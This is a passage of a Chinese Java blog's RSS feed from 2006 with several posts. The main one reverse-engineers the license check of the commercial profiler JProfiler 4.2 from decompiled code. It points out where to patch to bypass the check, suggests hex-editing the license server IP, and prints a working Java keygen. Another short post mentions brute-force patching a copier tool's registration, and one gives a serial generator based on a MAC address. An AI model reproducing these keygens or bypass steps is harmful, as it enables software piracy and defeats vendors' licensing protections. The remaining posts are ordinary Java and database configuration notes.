		<p>    private static boolean validateSignatureBytes(String as[], byte abyte0[])<br />        throws UnsupportedEncodingException<br />    {<br />        byte abyte1[] = SignableBlock.createSignableBlock(as);<br />        return validate(abyte1, abyte0);<br />    }</p>
		<p>    public static boolean validateSignature(String as[], String s)<br />        throws UnsupportedEncodingException<br />    {<br />        byte abyte0[];<br />        try<br />        {<br />            abyte0 = Codecs.base64Decode(s.getBytes("UTF-8"));<br />        }<br />        catch(ArrayIndexOutOfBoundsException arrayindexoutofboundsexception)<br />        {<br />            return false;<br />        }<br />        return validateSignatureBytes(as, abyte0);<br />    }<br />}<br /><br /></p>
<img src ="http://www.blogjava.net/galaxyp/aggbug/90219.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2006-12-27 09:41 <a href="http://www.blogjava.net/galaxyp/archive/2006/12/27/90219.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>一段根据MAC生成序列号的代码</title><link>http://www.blogjava.net/galaxyp/archive/2006/12/25/89945.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Mon, 25 Dec 2006 09:11:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2006/12/25/89945.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/89945.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2006/12/25/89945.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/89945.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/89945.html</trackback:ping><description><![CDATA[public class getActiveKey {<br />   public String getRegKey(long aKey) {<br />   if (aKey&lt;=0)<br />      aKey=76649179349l;<br />  char[] aKeyChars = { 49, 87, 89, 90, 86, 50, 74, 78, 88, 82, 72, 51,<br />    79, 73, 71, 53, 67, 52, 80, 54, 65, 76, 55, 85, 70, 56, 83, 69,<br />    68, 57, 84, 66, 48, 81, 75, 77 };<br />  StringBuffer result;<br />  byte[] keyBytes;<br />  int patternLength;<br />  int keyCharsOffset;<br />  int i;<br />  int j;<br />  result = new StringBuffer("#####-#####-#####-#####-#####");<br />  keyBytes = String.valueOf(aKey).getBytes();<br />  patternLength = result.length();<br />  keyCharsOffset = 0;<br />  i = 0;<br />  j = 0;<br />  while ((i &lt; keyBytes.length) &amp;&amp; (j &lt; patternLength)) {<br />   keyCharsOffset = keyCharsOffset + Math.abs(keyBytes[i]);<br />   while (keyCharsOffset &gt;= aKeyChars.length) {<br />    keyCharsOffset = keyCharsOffset - aKeyChars.length;<br />   }<br />   while ((result.charAt(j) != 35) &amp;&amp; (j &lt; patternLength)) {<br />    j++;<br />   }<br />   result.setCharAt(j, aKeyChars[keyCharsOffset]);<br />   if (i == (keyBytes.length - 1)) {<br />    i = -1;<br />   }<br />   i++;<br />   j++;<br />  }<br />  System.out.println(result.toString());<br />  return result.toString();<br /> }<br />}<br /><br />aKey 为网卡物理地址的十进制域十六进制<img src ="http://www.blogjava.net/galaxyp/aggbug/89945.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2006-12-25 17:11 <a href="http://www.blogjava.net/galaxyp/archive/2006/12/25/89945.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>奥西工程复印机作业批量提交软件</title><link>http://www.blogjava.net/galaxyp/archive/2006/10/16/75367.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Mon, 16 Oct 2006 03:11:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2006/10/16/75367.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/75367.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2006/10/16/75367.html#Feedback</comments><slash:comments>5</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/75367.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/75367.html</trackback:ping><description><![CDATA[调用本地代码进行注册码验证，算法挺麻烦，暴破，没什么技术性<br /><img height="337" alt="os.jpg" src="http://www.blogjava.net/images/blogjava_net/galaxyp/os.jpg" width="313" border="0" /><img src ="http://www.blogjava.net/galaxyp/aggbug/75367.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2006-10-16 11:11 <a href="http://www.blogjava.net/galaxyp/archive/2006/10/16/75367.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>JProfiler 4.2 注册分析</title><link>http://www.blogjava.net/galaxyp/archive/2006/10/12/74789.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Thu, 12 Oct 2006 07:07:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2006/10/12/74789.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/74789.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2006/10/12/74789.html#Feedback</comments><slash:comments>11</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/74789.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/74789.html</trackback:ping><description><![CDATA[
		<font face="宋体">JProfiler 4.2 注册分析<br /><br />作者：舵手<br />申明：如转载请保证文章的完整性以及出处<br /><br />摘要:JProfiler是一款Java剖析器。JProfiler直观的用户界面能够帮助你找到性能瓶颈,并指明你的内存漏洞和解决线程问题。<br /><br />    JProfiler是通过EXE来执行，用十六进制编辑器很容易找到程序的入口类：com.jprofiler.frontend.FrontendApplication 如果你要通过命令行运行，得看看这个类的main方法，它需要两个参数才能运行。简单分析了一下该类，发现方法H完成了注册码的验证，让我们顺藤摸瓜找到计算注册码的位置。<br /><br />    public boolean H()<br />    {<br />        E e1 = com.jprofiler.frontend.E.H.A3().A2();<br />  //由于代码经过了混淆，以E命名的类有n多，所以千万要找正确，否则会浪费你的保宝贵时间<br />  //com.jprofiler.frontend.E.D.E——E的完整类路径<br />        int i1 = e1.A(null, this);<br />        switch(i1)<br />        {<br />        case -2: <br />            if(l())<br />            {<br />                System.err.println("Your license key has expired.");<br />                return false;<br />            }<br />            int j1 = A(p, "Your license key has expired.\nIf you were not able to evaluate JProfiler, <br />please\nrequest a new key at " + L(), new String[] {<br />                "Enter new key", "Send mail"<br />            }, 0);<br />            if(j1 == 1)<br />            {<br />                O();<br />                return false;<br />            }<br />            if(!A(((String) (null)), true))<br />                return false;<br />            break;<br /><br />        case -1: <br />            break;<br /><br />        case -3: <br />            if(!A("Your license key is invalid. Please check your key.", true))<br />                return false;<br />            break;<br /><br />        case -5: <br />            if(!A("There was an error communicating with the license server.\n<br />Please check your license key.", true))<br />                return false;<br />            break;<br /><br />        case -4: <br />            if(!A("The license server is invalid. \nPlease check your license key.", true))<br />                return false;<br />            break;<br /><br />        case -6: <br />            A(com.jprofiler.frontend.E.D.C.B(), false);<br />            return false;<br /><br />        default:<br />            if(i1 &lt; 0)<br />                throw new RuntimeException("Unknown license status " + i1);<br />            e1.A(i1);<br />            break;<br />        }<br />        e1.AA();<br />        return true;<br />    }<br />    如果让e1.A(null, this)返回-1，那问题就解决了。如果想暴破可以从这个方法入手，我们这里的任务是追出注册算法：）<br />    首先我们跟进com.jprofiler.frontend.E.H.A3().A2();这两个方法，发现只是对类做一些初始化，我们略过。<br /><br />    跟进e1.A(null, this)，它又调用了重载方法A<br />    public int A(String s, C._A _pa)<br />    {<br />        return A(s, _pa, true);<br />    }<br />    <br />    public int A(String s, C._A _pa, boolean flag)<br />    {<br />        if(s == null)<br />            s = F4; //在该类初始化时已经给F4给了值，如果注册文件存在，该值为注册码<br />        if(flag &amp;&amp; !s.startsWith("FLOAT:") &amp;&amp; !s.startsWith("S-"))<br />            com.A.A.E.C.A(s, _pa);//跟进这里，发现是网络验证，由于我访问不了IP 228.7.6.9 所以没有详细分析，<br />      //有时间了再补上。如果你那里通不过网络验证，把com.A.A.E.C$_B（C的内部类）里的IP改一下应该就没问题<br />      //可别问我怎么改，十六进制编辑器就可以了：）<br />        return S(s); //我们再看这个方法<br />    }<br /><br />    public int S(String s)<br />    {<br />        if(s == null)<br />            s = F4;//在该类初始化时已经给F4给了值，如果注册文件存在，该值为注册码<br />        if(s.startsWith("FLOAT:")) //不知道这代表什么，直觉上不是好东西，先不进入，直接到else<br />        {<br />            String s1 = s.substring("FLOAT:".length());<br />            int i = -1;<br />            int j = s1.lastIndexOf(':');<br />            if(j &gt; -1)<br />            {<br />                try<br />                {<br />                    i = Integer.parseInt(s1.substring(j + 1));<br />                }<br />                catch(NumberFormatException numberformatexception) { }<br />                s1 = s1.substring(0, j);<br />            }<br />            int k = C3();<br />            int l = com.A.A.E.E.A(s1, i, k, C7());<br />            FD = E.C();<br />            D(l &gt; 0 || l == -1);<br />            return l;<br />        } else<br />        {<br />            return Q(s);<br />        }<br />    }<br /><br />    Q(s)直接调用下面方法<br />    public static int G(String s)<br />    {//s为注册码<br />        if(s == null)<br />            return -3;<br />        s = s.trim();<br />        if(s.length() &lt; 3 || s.charAt(1) != '-' || s.indexOf('#') == -1)//长度大于3，第二位字符必须为-，必段有#<br />            return -3;<br />        switch(s.charAt(0))//取注册码中的第一个字符<br />        {<br />        case 69: // 'E'  试用版<br />            int i = A(s);//查检当前日期是否过了试用期<br />            if(!F(s))<br />                return -3;<br />            else<br />                return i;<br /><br />        case 65: // 'A'<br />        case 76: // 'L'//这三个有什么区别还没有搞清<br />        case 83: // 'S'<br />            return H(s);  //让这里返回-1<br />        }<br />        return -3;<br />    }<br /><br />    private static int H(String s)<br />    {<br />        if(B(s) != 2)//license串中的"-"必须等于两个，B函数的作用是计算串中的"-"字符的个数<br />            return -3;<br />        return F(s) ? -1 : -3;//这里F必须反回true<br />    }<br /><br />    private static boolean F(String s)<br />    {<br />        A a = new A(s);//传入注册码，进行截取处理<br />        if(!a.E())<br />            return false;<br />        String s1 = a.A();//返回注册码中第二个“-”后的所有字符<br />        String s2 = E(s1);//把上面得到的字符串以“#”为界分开，“#”前的给s2<br />        String s3 = D(s1);//“#”后的给s3<br />        if(s3 == null || s2 == null)<br />            return false;<br />        else<br />            return A(s3, s2, 11, 7, 29);//重点所在<br />    }<br /><br />    protected static boolean A(String s, String s1, int i, int j, int k)<br />    {<br />        char ac[] = s1.toCharArray();“#”前的串转换为char<br />        int l = 0;<br />        char ac1[] = ac;<br />        int i1 = ac1.length;<br />        for(int j1 = 0; j1 &lt; i1; j1++)<br />        {<br />            char c = ac1[j1];<br />            l += c; //累加<br />        }<br /><br />        String s2 = String.valueOf(l % i) + String.valueOf(l % j) + String.valueOf(l % k);<br />  //分别模11、7、29，结果相加，结果要和“#”后的那部分相等<br />        return s.equals(s2);<br />    }<br /><br />    到这里我们已经知道注册的算法了，其实很简单：注册码必须以A、S、L其中一个字母开头，第二个字符必须为“-”，“-”字符必须为两个，至少一个“#”字符，从目前的分析可以看出注册码长度已以大于等于四了，程序代码中&lt;3时完蛋。接下来载取注册码中从第二个“-”字符位置加1开始到“#”前一个字符的子串，转换为char后累加，再分别模11、7、29，把三次模运算的结果相加，这个值等于注册码中“#”后面的所有字符。<br /><br />    下面给写出它的注册机<br />import java.util.*;<br />/**<br /> * &lt;p&gt;Title: JProfiler4.2 注册机&lt;/p&gt;<br /> * &lt;p&gt;Description: 每执行一次得到一个注册码&lt;/p&gt;<br /> * &lt;p&gt;Copyright: Copyright () 2006&lt;/p&gt;<br /> * @author 舵手<br /> * @version 1.0<br /> */<br />public class jprofiler4_keygen  <br />{<br />  public static void main(String[] args) <br />  {<br />    String s1 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";<br />    String s2 = "ALS";<br />    String license = "";<br />    String key = "";<br />    Random rd = new Random();<br />    int j = rd.nextInt(3);<br />    license += s2.substring(j,j+1)+"--";<br />    for (int i =0 ; i &lt; 12 ; i++ )<br />    {<br />      j = rd.nextInt(62);<br />      license += s1.substring(j,j+1);<br />      key += s1.substring(j,j+1);<br />    }<br />    license += "#";<br />    char ac[] = key.toCharArray();<br />        int l = 0;<br />        char ac1[] = ac;<br />        int i1 = ac1.length;<br />        for(int j1 = 0; j1 &lt; i1; j1++)<br />        {<br />            char c = ac1[j1];<br />            l += c;<br />        }<br />        String s3 = String.valueOf(l % 11) + String.valueOf(l % 7) + String.valueOf(l % 29);<br />    license += s3;<br />    System.out.println(license);<br />  }<br />}<br />    通过上面的分析，我们可以用正则表达式表示出注册码[A|L|S]-.-[a-zA-Z0-9]#[0-9]，第二个“-”后的字符到“#”字符前的字符串的长度并没有限制，当然，不能为0，我只测试了长度为1和12，计算的注册码都没有问题，有兴趣的可以多试几个：）“.”这个位置可以插入任意长度的任意字符。<br />    从注册算法上说，这个程序的保护很简单，但如果加上混淆和错综复杂的方法调用，会让你头痛好一阵子。这里我只列出了和计算注册码有关的一些方法，而在实际跟踪中，牵扯到的类和方法数量是很大的，这就需要耐心。我一直以来都认为这样的文章对那些想要从这里学到东西的人没有什么用处，因为这种文章充其量只能算是授人以鱼而不是授人以渔。对那些正在分析这个软件的注册算法的人来说，也许有那么一点点用处：）<br />    分析这个软件的注册只是个人爱好，由于水平有限，错误疏漏在所难免，欢迎大家提出宝贵意见！</font>
		<br />
<img src ="http://www.blogjava.net/galaxyp/aggbug/74789.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2006-10-12 15:07 <a href="http://www.blogjava.net/galaxyp/archive/2006/10/12/74789.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>将ASA配置成可以跨网段访问的Open Server</title><link>http://www.blogjava.net/galaxyp/archive/2006/09/29/72789.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Fri, 29 Sep 2006 05:52:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2006/09/29/72789.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/72789.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2006/09/29/72789.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/72789.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/72789.html</trackback:ping><description><![CDATA[
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align="center">
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-bidi-font-size: 12.0pt; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">将</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt; mso-bidi-font-size: 12.0pt">ASA</span>
				<span style="FONT-SIZE: 14pt; FONT-FAMILY: 宋体; mso-bidi-font-size: 12.0pt; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">配置成可以夸网段访问的</span>
				<span lang="EN-US" style="FONT-SIZE: 14pt; mso-bidi-font-size: 12.0pt">Open Server<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /?><o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 12pt">
						<span style="mso-tab-count: 1">       </span>ASA</span>
				<span style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">是</span>
				<span lang="EN-US" style="FONT-SIZE: 12pt">Sybase</span>
				<span style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的一个本地数据库，但它也可以发布为</span>
				<span lang="EN-US" style="FONT-SIZE: 12pt">Open Server</span>
				<span style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">模式，这样客户端就可以通过网络访问安装在不同机器上的</span>
				<span lang="EN-US" style="FONT-SIZE: 12pt">ASA</span>
				<span style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">数据库。当然，服务端也不一定要安装</span>
				<span lang="EN-US" style="FONT-SIZE: 12pt">ASA</span>
				<span style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">数据库，你可以拷贝一些必要的动态库和</span>
				<span lang="EN-US" style="FONT-SIZE: 12pt">EXE</span>
				<span style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">文件，再写一些注册表信息，这样，一样精简的</span>
				<span lang="EN-US" style="FONT-SIZE: 12pt">ASA</span>
				<span style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">数据库就可以远行起来。</span>
				<span lang="EN-US" style="FONT-SIZE: 12pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 12pt">
						<span style="mso-tab-count: 1">       </span>
				</span>
				<span style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">默认情况下，客户端连接处在网络中的</span>
				<span lang="EN-US" style="FONT-SIZE: 12pt">ASA</span>
				<span style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">数据库会以广播包形式查找和连接数据库。因此，如果客户端和服务端不在同一网段，即跨越路由设备，客户端将无法连接到数据库。这时我们需要配置连接参数，让数据库连接以单播方式进行。</span>
				<span lang="EN-US" style="FONT-SIZE: 12pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 12pt">
						<span style="mso-tab-count: 1">       </span>
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt">
				<span style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">服务端的启动参数配置：</span>
				<span lang="EN-US" style="FONT-SIZE: 12pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US" style="FONT-SIZE: 12pt"> <o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt">
				<span lang="EN-US" style="FONT-SIZE: 12pt">dbsrv7.exe Datafile -n Servername -x TCPIP{host=ServerIP} –Q<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt">
				<span lang="EN-US" style="FONT-SIZE: 12pt"> <o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt">
				<span style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">客户端连接参数配置</span>
				<span lang="EN-US" style="FONT-SIZE: 12pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt">
				<span lang="EN-US" style="FONT-SIZE: 12pt"> <o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt">
				<span lang="EN-US" style="FONT-SIZE: 12pt">CommLinks TCPIP{host=ServerIP,DOBROADCAST=NO}<o:p></o:p></span>
		</p>
		<p class="MsoBodyText" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US"> <o:p></o:p></span>
		</p>
		<p class="MsoBodyText" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US">
						<span style="mso-tab-count: 1">       </span>Datafile</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">——数据库文件名，可以包函路径</span>
		</p>
		<p class="MsoBodyText" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US">
						<span style="mso-tab-count: 1">       </span>Servername</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">——数据库服务发布名称</span>
		</p>
		<p class="MsoBodyText" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US">
						<span style="mso-tab-count: 1">       </span>ServerIP</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">——数据库服务器所在机器的</span>
				<span lang="EN-US">IP</span>
		</p>
		<p class="MsoBodyText" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US"> <o:p></o:p></span>
		</p>
		<p class="MsoBodyText" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN-US">
						<span style="mso-tab-count: 1">       </span>
				</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">通过上面的配置，客户端和服务端可以处在不同的网段。但服务器同一子网只能发布一个数据库服务器，当有多个数据库要发布时，要通过其它一些参数方能发布。具体可以参数</span>
				<span lang="EN-US">ASA</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的管理手册</span>
		</p>
<img src ="http://www.blogjava.net/galaxyp/aggbug/72789.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2006-09-29 13:52 <a href="http://www.blogjava.net/galaxyp/archive/2006/09/29/72789.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>